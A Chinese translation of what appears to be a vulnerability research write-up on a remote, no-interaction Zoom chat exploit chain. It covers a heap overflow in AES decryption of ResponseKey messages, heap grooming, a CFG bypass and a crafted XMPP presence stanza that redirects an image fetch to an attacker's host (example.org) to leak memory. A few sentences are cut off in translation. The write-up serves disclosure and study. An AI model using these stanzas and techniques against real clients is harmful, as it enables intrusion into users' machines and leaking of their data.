0x01 Zoom
我在 Zoom 和 Microsoft Teams 之间做出决定。我猜测了哪些类型的漏洞可能会导致这些应用程序中的 RCE:Microsoft Teams 是使用 Electron 开发的,其中包含一些 C++ 原生库(主要用于平台集成)。Electron 应用程序是使用 HTML+JavaScript 构建的,其中包含 Chromium 运行时。因此,最有可能被利用的途径是跨站点脚本问题,可能与沙箱逃逸相结合。内存损坏是可能的,但本机库的数量很少。Zoom 是用 C++ 编写的,这意味着最有可能的漏洞类别是内存损坏。由于没有任何更好的数据,我决定使用 Zoom,因为我更喜欢研究内存损坏而不是 XSS。
我没有太多使用 过Zoom。因此,第一步是彻底分析应用程序,专注于确定可以向其他用户发送内容的所有方式,因为这是实现远程攻击的攻击向量。大多数用户主要用到的是视频聊天功能,也包含一个功能相当齐全的聊天客户端,可以发送图片、创建群聊等等。在会议中有音频和视频,还有发送文件、共享屏幕等的方式。我也创建了一些高级帐户,以确保我能看到尽可能多的功能。
0x02 数据包截取
下一步是分析客户端网络通信数据包,我需要查看通信内容才能发送自己的恶意流量。Zoom 使用大量 HTTPS 请求(通常使用 JSON 或 protobufs),但聊天连接本身使用 XMPP 连接。会议协议有许多不同的选项,具体取决于网络允许的内容,主要是基于自定义 UDP 的协议。使用代理、修改的 DNS 记录、sslsplit 和安装在 Windows 中的新 CA 证书的组合,我能够在我的测试环境中分析所有流量,包括 HTTP 和 XMPP。我先从 HTTP 和 XMPP入手,因为会议协议是zoom自定义的二进制协议。
0x03 反编译
接下来是在反汇编程序中加载相关的二进制文件。因为我想挖掘一个与远程用户交互的漏洞,所以首先尝试将传入的 XMPP 节(节是你可以发送给另一个用户的 XMPP 元素)的处理与代码相匹配。我发现 XMPP XML 数据流最初是由XmppDll.dll发送.。此 DLL 基于 C++ XMPP 库Gloox,所以对这部分进行逆向非常容易,即使对于 Zoom 添加的自定义扩展也是如此。
https://camaya.net/gloox/
经过一段时间分析发现无法在这里发现一些品相较好的漏洞,XmppDll.dll仅解析传入的 XMPP 节并将 XML 数据复制到新的 C++ 对象,在这里没有实现真正的业务逻辑,都是传递给不同 DLL 中的回调在处理。
在下一个 DLL 中,我遇到了一些障碍。由于对 vtables 和其他 DLL 的大量调用,对其他 DLL 的反汇编几乎不可能完成。我无法掌握反汇编代码的主要逻辑,主要原因是大多数 DLL 根本不做日志记录。日志对动态分析很有用,但对于静态分析它们也非常有用,因为它们通常会显示函数和变量名称并提供有关执行了哪些检查的信息。我发现 Zoom 生成了安装日志,但在运行时没有记录任何内容。
经过一段时间信息收集后发现,Zoom 有一个SDK,可用于将 Zoom 会议功能集成到其他应用程序中。此 SDK 包含许多与客户端本身相同的库,在这种情况下,这些 DLL 文件存在日志记录。虽然不完整,缺少一些与 UI 相关的 DLL,但它足以很好地概述核心消息处理的功能。
https://marketplace.zoom.us/docs/sdk/native-sdks/introduction
日志记录还显示了文件名和函数名,如以下反汇编示例所示:
iVar2 = logging::GetMinLogLevel();if (iVar2 < 2) { logging::LogMessage::LogMessage (local_c8, "c:\\ZoomCode\\client_sdk_2019_kof\\client\\src\\framework\\common\\SaasBeeWebServiceModule\\ZoomNetworkMonitor.cpp" , 0x39, 1); uVar3 = log_message(iVar2 + 8, "[NetworkMonitor::~NetworkMonitor()]", " ", uVar1); log_message(uVar3); logging::LogMessage::~LogMessage(local_c8);}
0x04 漏洞挖掘
有了这个SDK,我就可以开始认真地挖掘漏洞了。具体来说,我的目标是挖掘任何类型的内存损坏漏洞。这些漏洞通常发生在数据解析期间,但这种漏洞就不太可能出现在XMPP 连接中。XMPP 使用了一个常见库,我还需要通过服务器获取我的有效负载,因此任何无效的 XML 都不会到达另一个客户端。许多使用字符串的操作都使用 C++std::string对象,这意味着由于长度计算错误而导致缓冲区溢出的可能性也不大。
在我开始这项研究大约 2 周后,我注意到关于 base64 解码的一个有趣的事情发生在几个地方:
len = Cmm::CStringT< char >::size(param_1);result = malloc(len < < 2);len = Cmm::CStringT< char >::size(param_1);buffer = Cmm::CStringT< char >::c_str(param_1);status = EVP_DecodeBlock(result, buffer, len);
EVP_DecodeBlock是处理 base64 解码的 OpenSSL 函数。Base64 是一种将三个字节转换为四个字符的编码,因此解码的结果总是输入大小的 3/4。但是,分配的缓冲区不是该大小的大小,而是分配一个比输入缓冲区大四倍的缓冲区(左移两次乘以 4 )。分配太大的内存利用效果并不好,但它确实表明在将数据移入和移入 OpenSSL 时,可能存在缓冲区大小的错误计算。在这里,std::string对象将需要转换为 Cchar*指针和单独的长度变量。所以我决定暂时专注于从 Zoom 自己的代码调用 OpenSSL 函数。
0x05 漏洞分析
Zoom 的聊天功能支持“高级聊天加密”的设置(仅适用于付费用户)。这个功能已经存在一段时间了。默认情况下使用版本 2,但如果联系人使用版本 1 发送消息,则仍会处理该消息。这就是我所看到的,它涉及到很多 OpenSSL 功能。
版本 1 是这样工作的:
1、发送方发送使用对称密钥加密的消息,密钥标识符指示使用了哪个消息密钥。
< message from="[email protected]/ZoomChat_pc" to="[email protected]" id="85DC3552-56EE-4307-9F10-483A0CA1C611" type="chat" > < body >[This is an encrypted message] < /body > < thread >gloox{BFE86A52-2D91-4DA0-8A78-DC93D3129DA0} < /thread > < active xmlns="http://jabber.org/protocol/chatstates"/ > < ze2e > < tp > < send >[email protected] < /send > < sres >ZoomChat_pc < /sres > < scid >{01F97500-AC12-4F49-B3E3-628C25DC364E} < /scid > < ssid >[email protected] < /ssid > < cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266} < /cvid > < /tp > < action type="SendMessage" > < msg > < message >/fWuV6UYSwamNEc40VKAnA== < /message > < iv >sriMTH04EXSPnphTKWuLuQ== < /iv > < /msg > < xkey > < owner >{01F97500-AC12-4F49-B3E3-628C25DC364E} < /owner > < /xkey > < /action > < app v="0"/ > < /ze2e > < zmtask feature="35" > < nos >You have received an encrypted message. < /nos > < /zmtask > < zmext expire_t="1680466611000" t="1617394611169" > < from n="John Doe" e="[email protected]" res="ZoomChat_pc"/ > < to/ > < visible >true < /visible > < /zmext > < /message >
2、接收者检查他们是否拥有带有该密钥标识符的对称密钥。如果没有,收件人的客户端会自动向RequestKey其他用户发送消息,其中包括收件人的 X509 证书以加密消息密钥 ()。RequestKey< pub_cert >
< message xmlns="jabber:client" to="[email protected]" id="{684EF27D-65D3-4387-9473-E87279CCA8B1}" type="chat" from="[email protected]/ZoomChat_pc" > < thread >gloox{25F7E533-7434-49E3-B3AC-2F702579C347}< /thread > < active xmlns="http://jabber.org/protocol/chatstates"/ > < zmext > < msg_type >207< /msg_type > < from n="Jane Doe" res="ZoomChat_pc"/ > < to/ > < visible >false< /visible > < /zmext > < ze2e > < tp > < send >[email protected]< /send > < sres >ZoomChat_pc< /sres > < scid >tJKVTqrloavxzawxMZ9Kk0Dak3LaDPKKNb+vcAqMztQ=< /scid > < recv >[email protected]< /recv > < ssid >[email protected]< /ssid > < cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266}< /cvid > < /tp > < action type="RequestKey" > < xkey > < pub_cert >MIICcjCCAVqgAwIBAgIBCjANBgkqhkiG9w0BAQsFADA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czAeFw0yMTA0MDIxMjAzNDVaFw0yMjA0MDIxMjMzNDVaMEoxLDAqBgNVBAMMI2VrM19mZHZ5dHFnbTB6emxtY25kZ2FAeG1wcC56b29tLnVzMQ0wCwYDVQQKEwRaT09NMQswCQYDVQQGEwJVUzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAEAa5LZ0vdjfjTDbPnuK2Pj1WKRaBee0QoAUQ281Z+uG4Ui58+QBSfWVVWCrG/8R4KTPvhS7/utzNIe+5R8oE69EPFAFNBMe/nCugYfi/EzEtwzor/x1R6sE10rIBGwFwKNSnzxtwDbiFmjpWFFV7TAdT/wr/f1E1ZkVR4ooitgVwGfREVMA0GCSqGSIb3DQEBCwUAA4IBAQAbtx2A+A956elf/eGtF53iQv2PT9I/4SNMIcX5Oe/sJrH1czcTfpMIACpfbc9Iu6n/WNCJK/tmvOmdnFDk2ekDt9jeVmDhwJj2pG+cOdY/0A+5s2E5sFTlBjDmrTB85U4xw8ahiH9FQTvj0J4FJCAPsqn0v6D87auA8K6w13BisZfDH2pQfuviJSfJUOnIPAY5+/uulaUlee2HQ1CZAhFzbBjF9R2LY7oVmfLgn/qbxJ6eFAauhkjn1PMlXEuVHAap1YRD8Y/xZRkyDFGoc9qZQEVj6HygMRklY9xUnaYWgrb9ZlCUaRefLVT3/6J21g6G6eDRtWvE1nMfmyOvTtjC< /pub_cert > < owner >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /owner > < /xkey > < /action > < v2data action="None"/ > < app v="0"/ > < /ze2e > < zmtask feature="50"/ >< /message >
3、发件人RequestKey用一条ResponseKey消息响应该消息。这包含发件人的 X509 证书,这是一个 XML 元素,其中包含使用发件人的私钥和收件人的公钥加密的消息密钥,以及其中的签名。
< message from="[email protected]/ZoomChat_pc" to="[email protected]" id="4D6D109E-2AF2-4444-A6FD-55E26F6AB3F0" type="chat" > < thread >gloox{24A77779-3F77-414B-8BC7-E162C1F3BDDF}< /thread > < active xmlns="http://jabber.org/protocol/chatstates"/ > < ze2e > < tp > < send >[email protected]< /send > < sres >ZoomChat_pc< /sres > < scid >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /scid > < recv >[email protected]< /recv > < rres >ZoomChat_pc< /rres > < rcid >tJKVTqrloavxzawxMZ9Kk0Dak3LaDPKKNb+vcAqMztQ=< /rcid > < ssid >[email protected]< /ssid > < cvid >zc_{10EE3E4A-47AF-45BD-BF67-436793905266}< /cvid > < /tp > < action type="ResponseKey" > < xkey create_time="1617394606" > < pub_cert >MIICcjCCAVqgAwIBAgIBCjANBgkqhkiG9w0BAQsFADA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czAeFw0yMTAyMTgxOTIzMjJaFw0yMjAyMTgxOTUzMjJaMEoxLDAqBgNVBAMMI2V3Y2psbmlfcndjamF5Z210cHZuZXdAeG1wcC56b29tLnVzMQ0wCwYDVQQKEwRaT09NMQswCQYDVQQGEwJVUzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAEAPyPYr49WDKcwh2dc1V1GMv5whVyLaC0G/CzsvJXtSoSRouPaRBloBBlay2JpbYiZIrEBek3ONSzRd2Co1WouqXpASo2ADI/+qz3OJiOy/e4ccNzGtCDZTJHWuNVCjlV3abKX8smSDZyXc6eGP72p/xE96h80TLWpqoZHl1Ov+JiSVN/MA0GCSqGSIb3DQEBCwUAA4IBAQCUu+e8Bp9Qg/L2Kd/+AzYkmWeLw60QNVOw27rBLytiH6Ff/OmhZwwLoUbj0j3JATk/FiBpqyN6rMzL/TllWf+6oWT0ZqgdtDkYvjHWI6snTDdN60qHl77dle0Ah+VYS3VehqtqnEhy3oLiP3pGgFUcxloM85BhNGd0YMJkro+mkjvrmRGDu0cAovKrSXtqdXoQdZN1JdvSXfS2Otw/C2x+5oRB5/03aDS8Dw+A5zhCdFZlH4WKzmuWorHoHVMS1AVtfZoF0zHfxp8jpt5igdw/rFZzDxtPnivBqTKgCMSaWE5HJn9JhupHisoJUipGD8mvkxsWqYUUEI2GDauGw893< /pub_cert > < encoded >...< /encoded > < signature >MIGHAkIBaq/VH7MvCMnMcY+Eh6W4CN7NozmcXrRSkJJymvec+E5yWqF340QDNY1AjYJ3oc34ljLoxy7JeVjop2s9k1ZPR7cCQWnXQAViihYJyboXmPYTi0jRmmpBn61OkzD6PlAqAq1fyc8e6+e1bPsu9lwF4GkgI40NrPG/kbUx4RbiTp+Ckyo0< /signature > < owner >{01F97500-AC12-4F49-B3E3-628C25DC364E}< /owner > < /xkey > < /action > < app v="0"/ > < /ze2e > < zmtask feature="50"/ > < zmext t="1617394613961" > < from n="John Doe" e="[email protected]" res="ZoomChat_pc"/ > < to/ > < visible >false< /visible > < /zmext >< /message >
密钥加密方式有两种选择,具体取决于收件人证书使用的密钥类型。如果使用 RSA 密钥,则发送方使用接收方的公钥加密消息密钥,并使用他们自己的私有 RSA 密钥对其进行签名。
但是,默认情况下不使用 RSA,而是使用曲线 P-521 使用椭圆曲线密钥。不存在使用椭圆曲线密钥的加密算法。因此,不是直接加密,而是使用椭圆曲线 Diffie-Helman 使用两个用户的密钥来获取共享密钥。共享的秘密被拆分为一个密钥和 IV,以使用 AES 加密消息密钥数据。这是使用椭圆曲线密码术时加密数据的常用方法。
在处理ResponseKey消息时,std::string为解密结果分配了一个固定大小的 1024 字节。使用 RSA 解密时,正确验证了解密结果是否适合该缓冲区。然而,当使用 AES 解密时,该检查丢失了。这意味着通过发送具有超过 1024 字节ResponseKey的 AES 加密
以下代码段显示了发生溢出的函数。这是 SDK 版本,因此可以使用日志记录。这里,param_1[0]是输入缓冲区,param_1[1]是输入缓冲区的长度,param_1[2]是输出缓冲区和param_1[3]输出缓冲区长度。这是一个很大的内存片段,但这个函数的重要部分param_1[3]是只写入结果长度,而不是先读取它。缓冲区的实际分配发生在前几步的函数中。
undefined4 __fastcall AESDecode(undefined4 *param_1, undefined4 *param_2) { char cVar1; int iVar2; undefined4 uVar3; int iVar4; LogMessage *this; int extraout_EDX; int iVar5; LogMessage local_180 [176]; LogMessage local_d0 [176]; int local_20; undefined4 *local_1c; int local_18; int local_14; undefined4 local_8; undefined4 uStack4; uStack4 = 0x170; local_8 = 0x101ba696; iVar5 = 0; local_14 = 0; local_1c = param_2; cVar1 = FUN_101ba34a(); if (cVar1 == '\0') { return 1; } if ((*(uint *)(extraout_EDX + 4) < 0x20) || (*(uint *)(extraout_EDX + 0xc) < 0x10)) { iVar5 = logging::GetMinLogLevel(); if (iVar5 < 2) { logging::LogMessage::LogMessage (local_d0, "c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h", 0x1d6, 1); local_8 = 0; local_14 = 1; uVar3 = log_message(iVar5 + 8, "[AESDecode] Failed. Key len or IV len is incorrect.", " "); log_message(uVar3); logging::LogMessage::~LogMessage(local_d0); return 1; } return 1; } local_14 = param_1[2]; local_18 = 0; iVar2 = EVP_CIPHER_CTX_new(); if (iVar2 == 0) { return 0xc; } local_20 = iVar2; EVP_CIPHER_CTX_reset(iVar2); uVar3 = EVP_aes_256_cbc(0, *local_1c, local_1c[2], 0); iVar4 = EVP_CipherInit_ex(iVar2, uVar3); if (iVar4 < 1) { iVar2 = logging::GetMinLogLevel(); if (iVar2 < 2) { logging::LogMessage::LogMessage (local_d0,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h", 0x1e8, 1); iVar5 = 2; local_8 = 1; local_14 = 2; uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherInit_ex Failed.", " "); log_message(uVar3); }LAB_101ba758: if (iVar5 == 0) goto LAB_101ba852; this = local_d0; } else { iVar4 = EVP_CipherUpdate(iVar2, local_14, &local_18, *param_1, param_1[1]); if (iVar4 < 1) { iVar2 = logging::GetMinLogLevel(); if (iVar2 < 2) { logging::LogMessage::LogMessage (local_d0,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h", 0x1f0, 1); iVar5 = 4; local_8 = 2; local_14 = 4; uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherUpdate Failed.", " "); log_message(uVar3); } goto LAB_101ba758; } param_1[3] = local_18; iVar4 = EVP_CipherFinal_ex(iVar2, local_14 + local_18, &local_18); if (0 < iVar4) { param_1[3] = param_1[3] + local_18; EVP_CIPHER_CTX_free(iVar2); return 0; } iVar2 = logging::GetMinLogLevel(); if (iVar2 < 2) { logging::LogMessage::LogMessage (local_180,"c:\\ZoomCode\\client_sdk_2019_kof\\Common\\include\\zoom_crypto_util.h", 0x1fb, 1); iVar5 = 8; local_8 = 3; local_14 = 8; uVar3 = log_message(iVar2 + 8, "[AESDecode] EVP_CipherFinal_ex Failed.", " "); log_message(uVar3); } if (iVar5 == 0) goto LAB_101ba852; this = local_180; } logging::LogMessage::~LogMessage(this);LAB_101ba852: EVP_CIPHER_CTX_free(local_20); return 0xc;}
附注:我们不知道解密后元素通常包含的格式,但根据我们对协议的理解,我们假设它包含一个密钥。针对新客户端启动旧版本的协议很容易。但是,要启动合法客户端,需要旧版本的客户端,该版本似乎出现故障(无法再登录)。< encoded >
我进行了大约 2 周的研究,我发现了一个缓冲区溢出漏洞,可以在没有用户交互的情况下通过向以前接受外部联系请求或当前处于同一个多用户聊天中的用户发送一些聊天消息来远程触发。
0x06 利用步骤
要围绕它构建漏洞利用,先分析一下此缓冲区溢出漏洞的一些情况:
利用方便的点:大小没有直接限制。
利用方便的点:内容是解密缓冲区的结果,所以这可以是任意二进制数据,不限于可打印或非零字符。
利用方便的点:会在没有用户交互的情况下自动触发(只要攻击者和受害者是联系人)。
不利于利用的点:大小必须是 AES 块大小的倍数,16 字节。最后可以有填充,但即使存在填充,它仍然会在删除填充之前覆盖数据到一个完整的块。
不利于利用的点:堆分配的大小是固定的:1040 字节。
不利于利用的点:缓冲区被分配,然后在处理用于溢出的相同数据包时,不能先放置缓冲区分配其他内容然后溢出。
我还没有关于如何利用它的完整方案,但我预计很可能需要覆盖对象中的函数指针或 vtable。已经知道程序使用了 OpenSSL,它在结构中广泛使用函数指针。甚至可以在稍后的ResponseKey消息处理过程中创建一些。我对此进行了分析,但由于使用了堆分配器,很快就证明这是不可能的。
0x07 Windows 堆分配器
为了实现漏洞利用,需要完全了解 Windows 中的堆分配器如何进行分配。Windows 10 有两个不同的堆分配器:NT heap 和 Segment Heap。Segment Heap是 Windows 10 中的新增功能,仅用于不包括 Zoom 的特定应用程序,因此Zoom使用的是 NT heap。NT heap有两个不同的分配器(用于小于 16 kB 的分配):前端分配器(Low-Fragment Heap、LFH)和后端分配器。
在详细介绍这两个分配器的工作原理之前,我将介绍一些定义:
Block:分配器可以返回的内存区域。
Bucket:LFH 处理的一组块。
Page:操作系统分配给进程的内存区域。
默认情况下,后端分配器处理所有分配。将后端分配器想象成一个所有空闲块的排序列表(freelist)。每当接收到特定大小的分配请求时,就会遍历该列表,直到找到至少具有请求大小的块。该块从列表中删除并返回。如果块大于请求的大小,则将其拆分并将剩余部分再次插入列表中。如果不存在合适的块,则通过从操作系统请求新页面,将其作为新块插入到列表中的适当位置来扩展堆。当分配被释放时,分配器首先检查它前后的块是否也是空闲的。如果其中之一或两者都是空闲的,则将它们合并在一起。该块将在与其大小匹配的位置再次插入到列表中。
下面的视频展示了分配器如何搜索特定大小的块(橙色),返回它并将剩余的块放回列表中(绿色)。
https://sector7.computest.nl/post/2021-08-zoom/Animatie_Freelist_status.webm
后端分配器是完全确定的:如果你知道某个时间空闲列表的状态以及随后的分配和释放的顺序,那么就可以确定列表的新状态。还有一些其他有用的属性,例如特定大小的分配是后进先出:如果你分配一个块,释放它并立即分配相同的大小,那么你将始终收到相同的地址。
前端分配器(LFH)用于分配经常用于减少碎片量的大小。如果超过 17 个特定大小范围的块被分配并仍在使用,那么 LFH 将从那时起开始处理该特定大小。LFH 分配被分组到Bucket中,每个Bucket处理一系列分配大小。当收到特定大小的请求时,LFH 会检查最近用于该大小分配的存储Bucket。如果没有空间,它会检查该尺寸范围内是否还有其他可用空间的Bucket。如果没有,则创建一个新存储Bucket。
无论是使用 LFH 还是后端分配器,每个堆分配(小于 16 kB)都有一个 8 字节的header。前四个字节被编码,接下来的四个字节不会编码。编码使用带有随机密钥的 XOR,用于防止缓冲区溢出破坏堆数据。
为了利用堆溢出漏洞,需要考虑很多事情。后端分配器可以创建任意大小的相邻分配块。在 LFH 上,只有相同范围内的对象才会合并到一个Bucket中,因此要覆盖来自不同范围的块,你必须确保两个Bucket相邻放置。此外,使用Bucket中的哪个空闲槽是随机的。
由于这些原因,我最初专注于利用后端分配器。但很快意识到不能使用之前找到的任何 OpenSSL 对象:当我启动 Zoom 时,所有700 字节都已经由 LFH 处理。不可能将特定大小从 LFH 切换回后端分配器。因此,我最初确定的 OpenSSL 对象在我的溢出块之后将无法分配,因为它们都小于 700 字节,因此会被放置在 LFH 存储Bucket中。
这意味着我必须搜索更大尺寸的对象,在这些对象中我可能能够覆盖函数指针或 vtable。我发现其他 DLL 中的一个zWebService.dll包含 libcurl 的副本,它为我提供了一些额外的源代码以供分析。分析源代码比从反编译器获取有关 C++ 对象布局的信息要高效得多。这确实给了我一些有趣的溢出对象,这些对象不会自动出现在 LFH 上。
0x08 堆布局
为了放置分配对象,需要进行堆整理:
1.分配一个 1040 字节的临时对象。
2.在它之后分配要覆盖的对象。
3.释放 1040 字节的对象。
4.溢出后覆盖1040 字节对象相同的地址。
为了做到这一点,必须能够分配 1040 个字节在精确的时间释放这些字节。但更重要的是还需要填充空闲列表中的许多内存区域,以便这两个对象能够相邻。如果想分配直接相邻的对象,那么在第一步中需要有一个大小为 1040 + x的空闲块,其中x是另一个对象的大小。但这意味着在 1040 和 1040 + x之间不能有任何其他大小分配,否则将使用该块。这意味着有一个相当大的大小范围,不能有任何可用的空闲块。
如果发送带有其他用户还没有的密钥标识符的加密消息,那么它将请求该密钥。这个密钥标识符std::string保留在内存中,可能是因为它正在等待响应。它可以是任意大的尺寸,所以我有办法进行分配。还可以在 Zoom 中撤销聊天消息,这也将释放待处理的密钥请求。这为我提供了分配和释放特定大小块的原语:它总是会分配该字符串的 2 个拷贝,并且为了处理新传入的消息,它会产生很多临时副本。
我花了很多时间通过发送消息和监控空闲列表的状态来进行分配。为此,编写了一些Frida脚本来跟踪堆块分配、打印空闲列表和检查 LFH 状态。可以用 WinDBG 完成,但利用开发非常慢。可以使用一个技巧:如果特定的分配会阻碍堆整理,那么可以触发该大小的 LFH,通过让客户端执行至少 17 次分配来确保它不再影响空闲列表大小。
0x09 LFH
我研究了如果强制分配溢出到低碎片堆( LFH )的情况下执行漏洞利用,使用相同的方法首先强制分配堆块到 LFH。这意味着必须更彻底地搜索合适大小的对象。1040 字节的分配被放置在一个Bucket中,所有 LFH 分配都是 1025 字节到 1088 字节。
在进一步研究之前,先看看必须绕过哪些防御措施:
ASLR(地址空间布局随机化)。DLL 的加载位置是随机的,堆和堆栈的位置也是随机的。但是,由于 Zoom 是 32 位应用程序,因此 DLL 和堆的地址范围并不大。
DEP(数据执行保护)。不存在可写和可执行的内存页。
CFG(控制流保护)。这是一种相对较新的技术,用于检查函数指针和其他动态地址是否指向函数的有效起始位置。
Zoom 的ASLR 和 DEP 保护很完善,但使用 CFG 有一个缺陷:由于OpenSSL 不兼容,这两个 OpenSSL DLL 没有启用 CFG 。
CFG 的工作方式是在所有动态函数调用之前插入一个guard_check_icall ( )检查,它会在有效函数起始地址列表中查找即将被调用的地址。如果有效,则允许调用。如果无效,则引发异常。
不为 dll 启用 CFG 有两个利用思路:
此库的任何动态函数调用都不会检查地址是否为函数起始位置。换句话说,guard_check_icall没有被插入。
这些DLL中的任何动态函数调用总是被允许的。这些 dll 不存在有效的起始位置列表,这意味着它允许该 dll 范围内的所有地址。
基于此,我制定了以下方案:
1、从两个 OpenSSL DLL 之一泄漏地址以绕过 ASLR。
2、溢出 vtable 或函数指针以指向我找到的 DLL 中的地址。
3、使用 ROP 链来获得任意代码执行。
为了在 LFH 上执行缓冲区溢出利用代码,我需要一种处理随机化的方法。虽然并不完美,但我避免大量崩溃的一种方法是在堆块范围内创建大量新分配,然后释放除最后一个之外的所有分配。LFH 从当前Bucket中返回一个随机的空闲槽。如果当前Bucket已满,则查看是否还有其他大小范围相同的尚未满的Bucket。如果没有,则扩展堆并创建新存储Bucket。
通过分配许多新块,我保证这个大小范围内的所有Bucket都已满,我得到了一个新的Bucket。释放一些这样的分配,但保留最后一个块意味着我在这个Bucket中有很多空间。只要我分配的块不超过适合的块,范围内的所有分配都将来自这里。这对于减少覆盖落在相同大小范围内的其他对象的机会非常有帮助。
以下视频以橙色显示了我不想覆盖的危险对象,以绿色显示了我创建的安全对象:
https://sector7.computest.nl/post/2021-08-zoom/Animatie_lfh.001.webm
只要Bucket 3 没有完全填满,目标大小范围的所有分配都会发生在该Bucket中,从而避免覆盖橙色对象。只要没有创建新的橙色对象,我们就可以一次又一次地尝试。随机化可以帮助我们确保最终获得想要的对象布局。
0x10 信息泄露
将缓冲区溢出转变为信息泄漏是一个相当大的挑战,因为在很大程度上取决于应用程序中可用的函数。常见的方法是分配具有固定长度字段的内容,溢出长度字段,然后读取该字段。我在 Zoom 中没有找到任何可用的函数来发送具有长度字段的 1025-1088 分配的内容以及再次请求它的方法。它可能确实存在,但分析 C++ 对象的对象布局是一个缓慢的过程。
我仔细查看了代码部分,我找到了一种方法,尽管它很棘手。
当 libcurl 用于请求 URL 时,它将解析和编码 URL,并将相关字段复制到内部结构中。URL 的路径和查询组件存储在不同的堆分配块中,并带有零终止符。任何需要的 URL 编码都有,所以当请求被发送时,整个字符串被复制到套接字,直到它到达第一个空字节。
我找到了一种向我控制的服务器发起 HTTPS 请求的方法。该方法是通过发送 Zoom 通常会使用的两个节的奇怪组合,一个用于发送添加用户的邀请,另一个通知用户新的用户已添加到他们的帐户中。然后将来自该节的字符串附加到域中并下载图像。但是,前置域的字符串不以 a /结尾,因此可以将其扩展为以不同的域结尾。
请求将另一个用户添加到你的联系人列表的节:
< presence xmlns="jabber:client" type="subscribe" email="[email of other user]" from="[email protected]/ZoomChat_pc" > < status >{"e":"[email protected]","screenname":"John Doe","t":1617178959313}< /status >< /presence >
通知用户新机器人(在本例中为 SurveyMonkey)已添加到他们的帐户的节:
< presence from="[email protected]/ZoomChat_pc" to="[email protected]/ZoomChat_pc" type="probe" > < zoom xmlns="zm:x:group" group="Apps##61##addon.SX4KFcQMRN2XGQ193ucHPw" action="add_member" option="0" diff="0:1" > < members > < member fname="SurveyMonkey" lname="" jid="[email protected]" type="1" cmd="/sm" pic_url="https://marketplacecontent.zoom.us//CSKvJMq_RlSOESfMvUk- dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF-vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" pic_relative_url="//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" introduction="Manage SurveyMonkey surveys from your Zoom chat channel." signature="" extension="eyJub3RTaG93IjowLCJjbWRNb2RpZnlUaW1lIjoxNTc4NTg4NjA4NDE5fQ=="/ > < /members > < /zoom >< /presence >
虽然客户端只期望来自服务器的此节,但可以从不同的用户帐户发送它。如果发件人尚未出现在用户的联系人列表中,则会对其进行处理。因此,将这两件事结合起来,我最终得到了以下结果:
< presence from="[email protected]/ZoomChat_pc" to="[email protected]/ZoomChat_pc" > < zoom xmlns="zm:x:group" group="Apps##61##addon.SX4KFcQMRN2XGQ193ucHPw" action="add_member" option="0" diff="0:0" > < members > < member fname="SurveyMonkey" lname="" jid="[email protected]" type="1" cmd="/sm" pic_url="https://marketplacecontent.zoom.us//CSKvJMq_RlSOESfMvUk- dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF-vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" pic_relative_url="example.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" introduction="Manage SurveyMonkey surveys from your Zoom chat channel." signature="" extension="eyJub3RTaG93IjowLCJjbWRNb2RpZnlUaW1lIjoxNTc4NTg4NjA4NDE5fQ=="/ > < /members > < /zoom >< /presence >
pic_url的属性被忽略,使用pic_relative_url属性,并在前面加上"https://marketplacecontent.zoom.us",执行请求:
"https://marketplacecontent.zoom.us" + image"https://marketplacecontent.zoom.us" + "example.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png""https://marketplacecontent.zoom.usexample.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png"
因为这不限于 zoom.us 的子域,可以将其重定向到我控制的服务器。
我仍然不完全确定这种情况的原因,但这确实是有效的。这是我用于攻击的另外两个低影响漏洞之一,目前根据 Zoom 安全公告也已修复。就其本身而言,这可用于获取其他用户的外部 IP 地址。
建立直接连接对我非常有帮助,因为与 XMPP 连接相比,我对这个连接有更多的控制权。XMPP 连接不是直接连接的,而是通过服务器。这意味着无效的 XML 不会到达。由于我想要泄漏的地址不太可能由完全可打印的字符组成,我无法尝试将这些包含在我可以到达的节中。
利用思路如下:
使用查询部分为 1087 字节的 URL 向我控制的服务器发起 HTTPS 请求。
接受连接,但延迟响应 TLS 握手。
触发缓冲区溢出漏洞,这样我溢出的缓冲区就在包含 URL 查询部分的块之前。这将覆盖查询块的堆头、整个查询(包括末尾的零终止符)和下一个堆头。
让 TLS 握手继续进行。
接收查询,带有堆头和 HTTP 请求中下一个块的开始。
https://sector7.computest.nl/post/2021-08-zoom/Animatie_infoleak.webm
类似于创建一个对象,覆盖一个长度字段并读取它。不使用长度计数器,而是通过一直写入缓冲区的内容来覆盖字符串的零终止符。
